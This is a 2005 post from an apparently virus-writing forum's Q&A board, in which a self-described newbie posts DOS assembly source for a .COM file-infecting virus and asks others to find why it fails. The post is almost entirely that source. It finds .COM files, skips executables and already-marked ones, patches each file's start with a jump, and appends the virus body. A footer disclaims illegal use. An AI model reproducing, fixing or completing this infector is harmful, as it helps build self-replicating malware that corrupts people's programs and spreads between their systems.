BETA!
webmaster@virusexperts.com
Site Navigation:

 · Home · Statistics · Registration · Search · FAQ · Language ·

 Virus Experts Forums —› Q & A —› CAN SOMEBODY FIND MY ERRORS AND EXPLAIN FOR NEWBIE
Last poster Message


Posted: 3-Mar-2005 18:31:33

IT DON'T WORK. PLEASE HELP ME

;==========================
CODSEG SEGMENT
ASSUME CS:CODSEG, DS:CODSEG, ES:CODSEG
ORG 100H
START:
START_VIRUS:

DB 0E9H, 00H, 00H, 'V'

FIND_FIRST:

LEA DX, DS:FILE
MOV AH, 4EH
MOV CX, 00110110b
INT 21H
JC QUIT11
FINDNEXT2:

MOV AX, 3D02H
LEA DX, DS:[9EH]
INT 21H
JC QUIT11
PUSH AX
PUSH AX

MOV AH, 3FH
POP BX
MOV CX, 4
LEA DX, DS:BUFFER
INT 21H
JC QUIT11
CMP WORD PTR [BUFFER], 'MZ'
JZ FIND_NEXT
CMP WORD PTR [BUFFER], 'ZM'
JZ FIND_NEXT
MOV AX, WORD PTR DS:[9AH]
MOV FSIZE, AX
ADD AX, END_VIRUS-START_VIRUS
JC FIND_NEXT
CMP BYTE PTR [BUFFER], 0E9H
JNZ INFECT


MOV CL, 'V'
CMP BYTE PTR [BUFFER+3], CL
JNZ INFECT
FIND_NEXT:
MOV AH, 3EH
INT 21H


MOV AH, 4FH
INT 21H

JC QUIT


JMP SHORT FINDNEXT2


QUIT1:
JMP QUIT1

QUIT11:

JMP QUIT1
INFECT:

INC BYTE PTR [COUNTER]


MOV AX, 4200H
PUSH BX
XOR CX, CX
XOR DX, DX
INT 21H

JC QUIT1

MOV AX, FSIZE
MOV WORD PTR [VIRSTUFF+1], AX

MOV BYTE PTR [VIRSTUFF], 0E9H

MOV BYTE PTR [VIRSTUFF+3], 'V'


MOV AH, 40H
MOV CX, 4
LEA DX, BYTE PTR VIRSTUFF
INT 21H

JC QUIT1
MOV AX, 4202H
XOR CX, CX
XOR DX, DX
INT 21H

JC QUIT1


MOV AH, 40H
MOV CX, OFFSET END_VIRUS-START_VIRUS
LEA DX, BYTE PTR FIND_FIRST
INT 21H


MOV AH, 3EH
INT 21H

JMP FIND_NEXT

QUIT:

MOV AL, [COUNTER]
ADD AL, 30H
MOV AH, 0EH
INT 10H


LEA SI, DS:BUFFER
MOV DI, 100H
MOV CX, 4
REP MOVSB


JMP CS:100H


FILE DB '*.COM',0
BUFFER DB 4 DUP (?)
SIGNATURE DB 'V'
VIRSTUFF DD ?
COUNTER DB 0
FSIZE DW ?


END_VIRUS:
CODSEG ENDS
END START
 

Page loading time (sec.): 0.013
Powered by miniBB. The views expressed on this forum do not necessarily reflect the views of Virus Experts.com or any of its members. This website does not condone or support illegal activities of any kind, including, but not limited to hacking, cracking, authoring of viruses to cause harm, or exploitation of security vulnerabilties of any kind. It merely provides an alternative resource for those persons that are interested in knowing how to create, assemble, and analyze viruses and other "malware." Before using this site, please make sure you are protected by the First Amendment (U.S.) or a similar personal privacy law in your country; if not, we advise you to leave this site immediately. Virus Experts, including any of its staff, is not responsible for the non-educational misuse of any content found on this site.